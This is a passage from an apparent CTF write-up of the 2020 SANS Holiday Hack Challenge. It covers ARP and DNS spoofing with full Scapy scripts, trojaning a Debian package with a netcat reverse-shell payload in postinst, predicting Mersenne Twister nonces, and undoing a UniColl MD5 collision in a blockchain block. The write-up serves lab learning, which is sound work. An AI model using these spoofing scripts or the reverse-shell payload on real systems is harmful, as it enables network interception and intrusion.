21:55:29.487856 4c:24:57:ab:ed:84 > ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 42: Request who-has 10.6.6.53 tell 10.6.6.35, length 28
It’s
4c:24:57:ab:ed:84
-
Let’s have a look at arp_resp.py … a lot of the work has been done, we just need to fill in some information…it ends up looking like this:
#!/usr/bin/python3 from scapy.all import * import netifaces as ni import uuid # Our eth0 ip ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr'] # Our eth0 mac address macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1]) def handle_arp_packets(packet): # if arp request, then we need to fill this out to send back our mac as the response if ARP in packet and packet[ARP].op == 1: ether_resp = Ether(dst="4c:24:57:ab:ed:84", type=0x806, src=macaddr) arp_response = ARP(pdst="4c:24:57:ab:ed:84") arp_response.op = 2 arp_response.plen = 4 arp_response.hwlen = 6 arp_response.ptype = "IPv4" arp_response.hwtype = 0x1 arp_response.hwsrc = macaddr arp_response.psrc = "10.6.6.53" arp_response.hwdst = "4c:24:57:ab:ed:84" arp_response.pdst = "10.6.6.35" response = ether_resp/arp_response sendp(response, iface="eth0") def main(): # We only want arp requests berkeley_packet_filter = "(arp[6:2] = 1)" # sniffing for one packet that will be sent to a function, while storing none sniff(filter=berkeley_packet_filter, prn=handle_arp_packets, store=0, count=1) if __name__ == "__main__": main()
Actually, you can pull most of this information dynamically from Scapy, but since the target’s IP and MAC do not change, it’s safe to hardcode them here.
- Now we get tcpdump going in one tmux pane and run
python3 my_arp_resp.py
in another pane and…22:07:36.460745 IP 10.6.6.35.25291 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
It works! The target sends out a DNS query to find out which IP belongs to ftp.osuosl.org.
-
Now we need to tackle the DNS spoof… again we can fill some information, but the DNS payload is a little more complicated. I do some googling to figure out how that should look. The dport value also needs to be set dynamically since that changes with every request. Eventually I cook a script that looks like this:
#!/usr/bin/python3 from scapy.all import * import netifaces as ni import uuid # Our eth0 IP ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr'] # Our Mac Addr macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1]) # destination ip we arp spoofed ipaddr_we_arp_spoofed = "10.6.6.53" def handle_dns_request(packet): # Need to change mac addresses, Ip Addresses, and ports below. # We also need eth = Ether(src=macaddr, dst="4c:24:57:ab:ed:84") # need to replace mac addresses ip = IP(dst="10.6.6.35", src="10.6.6.53") # need to replace IP addresses udp = UDP(dport=packet[UDP].sport, sport=53) # need to replace ports dns = DNS( # MISSING DNS RESPONSE LAYER VALUES id=packet[DNS].id, qd=packet[DNS].qd, aa = 1, qr=1, an=DNSRR(rrname=packet[DNS].qd.qname, ttl=10, rdata=ipaddr) ) dns_response = eth / ip / udp / dns sendp(dns_response, iface="eth0") def main(): berkeley_packet_filter = " and ".join( [ "udp dst port 53", # dns "udp[10] & 0x80 = 0", # dns request "dst host {}".format(ipaddr_we_arp_spoofed), # destination ip we had spoofed (not our real ip) "ether dst host {}".format(macaddr) # our macaddress since we spoofed the ip to our mac ] ) # sniff the eth0 int without storing packets in memory and stopping after one dns request sniff(filter=berkeley_packet_filter, prn=handle_dns_request, store=0, iface="eth0", count=1) if __name__ == "__main__": main()
-
Now, the timing matters because these scripts quit after firing once, and the target gives up after one un-answered DNS query and goes back to ARPing. But they also wait indefinitely until they see something they can respond to, so we just have to set them up in reverse order. In one tmux pane start tcpdump, in another pane start
python3 my_dns_resp.py
and in a third pane startpython3 my_arp_resp.py
. We see the ARP script fire…then we see the DNS script fire. The tcpdump looks like:22:24:30.648296 ARP, Request who-has 10.6.6.53 tell 10.6.6.35, length 28 22:24:30.692398 IP 10.6.6.35.63940 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32) 22:24:30.730842 ARP, Reply 10.6.6.35 is-at 4c:24:57:ab:ed:84, length 28 22:24:30.730904 IP 10.6.6.35.64352 > 10.6.0.2.47562: Flags [S.], seq 2306882012, ack 3560985966, win 65160, options [mss 1460,sackOK,TS val 3474021099 ecr 2929039000,nop,wscale 7], length 0 22:24:30.735453 IP 10.6.6.35.64352 > 10.6.0.2.47562: Flags [.], ack 518, win 506, options [nop,nop,TS val 3474021104 ecr 2929039005], length 0 22:24:30.738551 IP 10.6.6.35.64352 > 10.6.0.2.47562: Flags [P.], seq 1:1514, ack 518, win 506, options [nop,nop,TS val 3474021107 ecr 2929039005], length 1513 22:24:30.739605 IP 10.6.6.35.64352 > 10.6.0.2.47562: Flags [P.], seq 1514:1769, ack 598, win 506, options [nop,nop,TS val 3474021108 ecr 2929039009], length 255 22:24:30.740595 IP 10.6.6.35.64352 > 10.6.0.2.47562: Flags [P.], seq 1769:2024, ack 810, win 505, options [nop,nop,TS val 3474021109 ecr 2929039010], length 255 22:24:30.747244 IP 10.6.6.35.57350 > 10.6.0.2.80: Flags [S], seq 3116442103, win 64240, options [mss 1460,sackOK,TS val 3474021115 ecr 0,nop,wscale 7], length 0 22:24:30.748985 IP 10.6.6.35.64352 > 10.6.0.2.47562: Flags [FP.], seq 2024:2244, ack 810, win 505, options [nop,nop,TS val 3474021117 ecr 2929039010], length 220 22:24:30.750269 IP 10.6.6.35.64352 > 10.6.0.2.47562: Flags [.], ack 811, win 505, options [nop,nop,TS val 3474021118 ecr 2929039019], length 0
There is some chatter but, we can see the call to port 80 of our address.
-
Let’s run the scripts again but first set up a python web server in yet another tmux pane using
python3 -m http.server 80
to catch that http request … we see this:Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.6.6.35 - - [08/Jan/2021 22:35:54] code 404, message File not found 10.6.6.35 - - [08/Jan/2021 22:35:54] "GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 404 -
Now we know that our target is expecting to retrieve
/pub/jfrost/backdoor/suriv_amd64.deb
- There are a bunch of debs provided to us in /home/guest/debs … maybe we can put a reverse shell into one of these. But which one? I decide that
netcat-traditional_1.10-41.1ubuntu1_amd64.deb
is a good choice because it will guarantee that I havenetcat
on the target to send the reverse shell. - I follow these instructions to extract the deb, postinst and control files. Add a basic
nc -e /bin/bash 10.6.02 4444
payload to the end of postinst and package it back up according to the instructions. I can use my “real” IP here. - Rename my evil .deb to
suriv_amd64.deb
and then create a pub/jfrost/backdoor subfolder and drop it in there. - Now to put it all together. In one tmux pane I start
nc -lvp 4444
to start the reverse shell listener. In another tmux pane I start the python http server, making sure that it’s in the directory that contains/pub/jfrost/backdoor/
. In a third tmux pane I start the DNS responder. In a fourth tmux pane I start the ARP responder. - They fall like dominos. The ARP script triggers, the DNS script triggers, the HTTP server records a 200 and serves my file… and a few seconds later my netcat gets a connection from 10.6.6.35! I’m in!
- Despite my best efforts to upgrade my reverse shell it is very difficult to extract the file locally. I crash out of the reverse shell a couple of times and even hang the vitual terminal once. Fortunately I copied my scripts locally so re-creating it was not too tough. Eventually I decided to just read the file manually … it’s not terribly long.
Tanta Kringle recused herself from the vote given her adoption of Kris Kringle as a son early in his life.
…Tanta Kringle
is the flag!- Enter the flag in the badge and the objective is marked complete.
This was a really fun puzzle to solve… a great simulation of some practical real world attack techniques.
Skills Learned
- Practical use of Scapy
- ARP spoofing
- DNS spoofing
- HTTP machine in the middle
- Trojaning a Debian package
- Catching and using a reverse shell
Here it is then… the final stretch! Down to the last objective… but it’s a two-parter. I head in to Santa’s Office on the 3rd Floor to make an attempt on
Objective 11a: Naughty/Nice List with Blockchain Investigation Part 1
Even though the chunk of the blockchain that you have ends with block 129996, can you predict the nonce for block 130000?
It turns out, Santa and the elves pioneered blockchain as a way to securely track the Naughty/Nice list. Sometime in March, Jack Frost - a known scoundrel and resident of the Naughty List - somehow shot up to the top of the Nice list.
We can get a file containing a piece of the blockchain from Santa’s desk. Tinsel Upatree also has a zip file containing some helpful tools. We’ve also been given an unlisted youtube link to a talk by Professer Qwerty Petabyte about Blockchain at the Northpole. Let’s dig in.
For part 1 - the blockchain currently uses MD5 hashes which are subject to collisions. To combat this, a random nonce is added to each block. We need to predict a future nonce.
- In the zip file we have a python script that can help us work with our piece of the blockchain.
- We can modify
__main__
part of the script to interact with the Blockchain. - Printing a block shows us the content of the block … Index, Nonce, Naugty/Nice flag, Naughty/Nice score. We will be most interested in the nonce values.
- Looping through the blockchain file, it appears we have 1548 blocks.
- Using a loop like:
for blx in range(len(c2.blocks)): print(c2.blocks[blx].nonce)
We can get a list of all the nonces, which I output to a file.
- This feels familiar…remember that snowball fight game and how we learned we can predict any future PRNG outputs if we can 624 of them? We have more than 624 nonces here! I bet we can use the same script…
- NOT SO FAST! Our nonces are 64-bits but the
mt19937predict
script expects 32-bit… we need to work around this. - Some research later, I conclude that I can unpack each 64-bit nonce into two 32-bit pieces. I cook up a quick script to read my 64-bit nonces and split them into 32-bits. At first I did this placing the most significant bits first (i.e. Big Endian) and had to flip them when my output from the predictor still didn’t make sense. The final script looks like:
myfile = open("64bitnonces.txt","r") lines64 = myfile.readlines() myfile.close lines32 = [0] * (len(lines64)*2) counter = 0 for x in range(len(lines64)): lines64[x]=int(lines64[x]) lines32[counter] = lines64[x] & 0xFFFFFFFF counter+=1 lines32[counter] = lines64[x] >> 32 counter+=1 outfile = open("32bitnonces.txt","w") for y in range(len(lines32)): outfile.write("{}\n".format(lines32[y])) outfile.close()
Now I have a file of 32-bit half-nonces…stacked Little Endianly.
You have more nonces than you need, so a good approach here is to grab a block of nonces earlier in the blockchain and then you can predict some of the nonces you already have toward the end of the blockchain, and then you can be sure it’s working. I was feeling pretty confident about this, though.
- So I just pulled the last 312 nonces from the blockchain (since they get unpacked into 2 pieces, this gives me the requisite 624 values needed to predict).
- Feed them to the predictor We only need 8 values - they will pack back into 4 64-bit values and we need the fourth value after the end of our piece of blockchain.
cat 32bitnonces.txt | mt19937predict | head -n 8 > predicted.txt
- Now we need to pack the predicted nonces back to 64-bits so I made a reverse script like this:
myfile = open("predicted.txt","r") lines32 = myfile.readlines() myfile.close lines64 = [0] * int((len(lines32)/2)) counter = 0 for x in range(0,len(lines32),2): lines32[x] = int(lines32[x]) lines32[x+1] = int(lines32[x+1]) lines64[counter]=(lines32[x]|(lines32[x+1] << 32)) counter += 1 outfile = open("rebuiltbitnonces.txt","w") for y in range(len(lines64)): outfile.write("{}\n".format(lines64[y])) outfile.close()
As with the unpacking script, the endianness matters; I originally reassembled them backwards at first. I validated by repacking my 32-bit list and making sure they matched the original 64-bit nonces.
- Now I have a list of four 64-bit nonces. The last one is
6270808489970332317
- Enter the flag in the badge and the objective is marked complete.
Skills Learned
- Unpacking 64-bit integers to 32-bit and vice versa
- Big Endian vs. Little Endian
- Blockchain Basics
- Predicting pseudo-random number generator output
Objective 11b: Naughty/Nice List with Blockchain Investigation Part 2
The SHA256 of Jack’s altered block is: 58a3b9335a6ceb0234c12d35a0564c4e f0e90152d0eb2ce2082383b38028a90f. If you’re clever, you can recreate the original version of that block by changing the values of only 4 bytes. Once you’ve recreated the original block, what is the SHA256 of that block?
The hints give us a collection of links about generating MD5 hash collisions. Jack must have used MD5 flaws to modify the blockchain without breaking the signature chain.
Before we can get anywhere at all, we have to figure out which block is the bad one. I had tried while working on Part 1 by extracting the PDFs from all of the blocks and searching for Jack Frost
but nothing came up. I will soon find out why.
- We’re given a hash of the altered block, but we can’t just search for that string because the hashes on the blockchain are all MD5 but we’ve been given SHA256. The provided script already imports SHA256 from pycryptodome so we can just modify the existing full_hash function to output SHA256:
def full_sha256_hash(self): hash_obj = SHA256.new() hash_obj.update(self.block_data_signed()) return hash_obj.hexdigest()
- Now we can loop through the blocks and print out the index and SHA256 hash:
for blx in range(len(c2.blocks)): print(c2.blocks[blx].index, ': ', c2.blocks[blx].full_sha256_hash())
Our modified block is #129459:
129459 : 58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f
- Pulling the details on this block, it becomes apparent why my previous search of the PDFs didn’t find it. Most blocks have a single PDF attachment and the script as written only extracts the first attachment. This block has two attachments. The PDF is the 2nd attachment, and it is comparatively quite large compared to the other PDFs on the other blocks. The first attachment is a meangless binary blob.
- This will be easier to manage if I extract just this block, and the two attached files.
for blx in range(len(c2.blocks)): if (c2.blocks[blx].index == 129459): print(c2.blocks[blx].full_hash()) c2.save_a_block(blx,"myblock.dat") c2.blocks[blx].dump_doc(2) c2.blocks[blx].dump_doc(1)
- The MD5 that I need to match is
b10b4a6bd373b61f32f4fd3a0cdfbf84
- The PDF doesn’t open in Acrobat Reader or Preview. But it does open in a browser. It contains several statements saying how nice Jack Frost has been. It’s really big. Why is it so big?
- There is an interesting bit in the materials provided about how some content is ignored when calculating an MD5. In PDFs in particular, one can modify the contents of a PDF without affecting the MD5…
- Taking a look at the PDF in a hex editor, I can see that objects take a format like this
1 0 obj <</Type/Catalog/_Go_Away/Santa/Pages 2 0 R ... >> endobj
where the first numbers (the1 0
in this case) are this object’s identifier, followed by a descriptor, some content, then the second numbers (2 0
) are a child object. The objects’ relationships comprise a tree. - Let’s map out all of the objects:
1 0 /Type/Catalog/_Go_Away/Santa/Pages 2 0 R 2 0 /Type/Pages/Count 1/Kids[23 0 R] 3 0 /Type/Pages/Count 1/Kids[15 0 R] 4 0 /Length 2243/Filter/FlateDecode 5 0 /Font 6 0 R/ProcSet[PDF/Text] 6 0 /F1 7 0 R/F2 11 0 R 7 0 /Type/Font/Subtype/TruType/BaseFont ... /FontDescriptor 8 0 R/ToUnicode 10 0 R 8 0 /Type/FontDescriptor ... /FontFile2 9 0 R 9 0 /Length 12768/Filter/FlateDecode/Length1 21844 10 0 /Length 476/Filter/FlateDecode 11 0 /Type/Font/Subtypre ... /FontDescriptor 12 0 R/ToUnicode 14 0 R 12 0 /Type/FontDescriptor.../FontFile2 13 0 R 13 0 /Length 8937/Filter/FlateDecode/Length1 14140 14 0 /Length 389/Filter/FlateDecode 15 0 /Type/Page/Contents 4 0 R/Resources 5 0 R/MediaBox[0 0 612 792]/Parent 3 0 R 16 0 /Length 662/Filter/FlateDecode 17 0 /Font 18 0 R/Procset[/PDF/Text] 18 0 /F1 19 0 R 19 0 /Type/Font/Subtype ... /FontDescriptor 20 0 R/ToUnicode 22 0 R 20 0 /Type/FontDescriptor ... /FontFile2 21 0 R 21 0 /Length 111214/Filter/FlateDecode/Length1 19084 22 0 /Length 426/Filter/FlateDecode 23 0 /Type/Page/Contents 16 0 R/Resources 17 0 R/MediaBox[0 0 612 792/Parent 2 0 R] Trailer Size24/Root 1 0 R
The
Trailer
object seems to identify the root node. - Mapping out the node relationships looks like this:
-1-2-23 |-16 --17-18-19 |-20-21 --22 -3-15 |-4 --5-6 |-7-8-9 |-10 --11 |-14 --12-13
There are two separate trees here, and the tree that starts with object #3 is completely disconnected from the root!
- Let’s try changing that
2 0
in the first element to3 0
in the hex editor. - Reload the PDF … and suddenly it’s a bunch of messages about how NAUGHTY Jack has been! This must be one of the bytes that Jack altered! The way the message reads, it suggests that Jack changed the Naughty/Nice value on the block…could that be the second byte that Jack altered?
- Setting aside the PDF for now…loading the entire block in the hex editor, it’s pretty to easy to identify the Naughty/Nice value.
000000000001f9b3 a9447e5771c704f4 0000000000012fd1 000000000000020f 2ffffffff1ff0000
It’s the 10th byte on the fifth line - the
1
among all of thef
s…flip that to0
and check the block using the Python script and sure enough it now says Jack was Naughty! - Now we just need to identify the other two bits.
- I re-read the information about collisions over and over. What am I missing?
- At some point I spot this link to a little demo recording of the UniColl attack in action and suddenly it clicks!
- At first I thought that Jack took an existing block and altered it. What actually happened was, Jack used UniColl or something like it to generate two colliding files and used the quirks of MD5 to use it to modify the block. I’m not trying to recreate the original block … I am trying to figure out what the other colliding file looked like!
- I take a screen shot of the compared files which really makes it clear to me…in the first file, the first 64 bytes begin the prefix block. The 10th byte of the next two 64 byte blocks are predictable. Whatever the first byte is in the first file, it will be N+1 in the second file. Whatever the second byte is in the first file, it will be N-1 in the second file.
- Remember that the Naughty/Nice value was the 10th byte of the fifth line? That was a
1
in one file and we had to make it a0
to match the other file. Since that was decremented, we know the 10th byte of the next block should be incremented! Count 4 lines down…the 10th byte is D6…flip it to D7. That byte just happens to be within the meaningless binary blob. That file is presumably there just to hold the collision block. - Save the file and check the hash and much to my surprise … it’s the same! I am so shocked I re-do it just to make sure I didn’t miss anything. At this point I recall reading that multiple collisions can be stacked. Jack must have made collisions for both the block itself and the PDF!
- Now let’s look at the PDF in situ.
- Sure enough, the 2 that I need to switch to a 3 is the 10th byte. Count down 4 lines to the next block, and count over to the 10th byte…it’s a 1C. Since I incremented the first byte, I need to decrement this byte to 1B. The documentation about UniColl specifically mentions that a comment inside a PDF can be used to hold a collision block as long as it doesn’t have
\r
or\n
which are forbidden. That byte just happens to be where a comment would reside in the PDF object. - Run the MD5 hash and it comes out at
b10b4a6bd373b61f32f4fd3a0cdfbf84
as needed - Compute the SHA256 hash at
fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb
… this should be the flag. - Enter the flag in the badge and the objective is marked complete.
Skills Learned
- Basics of MD5 hash colisions, specifically the UniColl attack
- Manipulating binary files in a hex editor
- PDF file structure
We have completed all of the challenges in the 2020 SANS Holiday Hack Challenge! The elves want to do know who helped solve the mystery, so we switch back to our own avatar and return to Santa’s office on the third floor where, on the balcony, where Jack is wearing a prison jumpsuit and Santa thanks you for a job well done.
Conclusion
This year’s HHC was really enjoyable and I am happy that I took the time to work through it. I learned several new tricks and refined some old ones as well.
If you missed the conference, you can still access this and previous years’ HHCs at https://holidayhackchallenge.com/ where all of these challenges and talks are still available.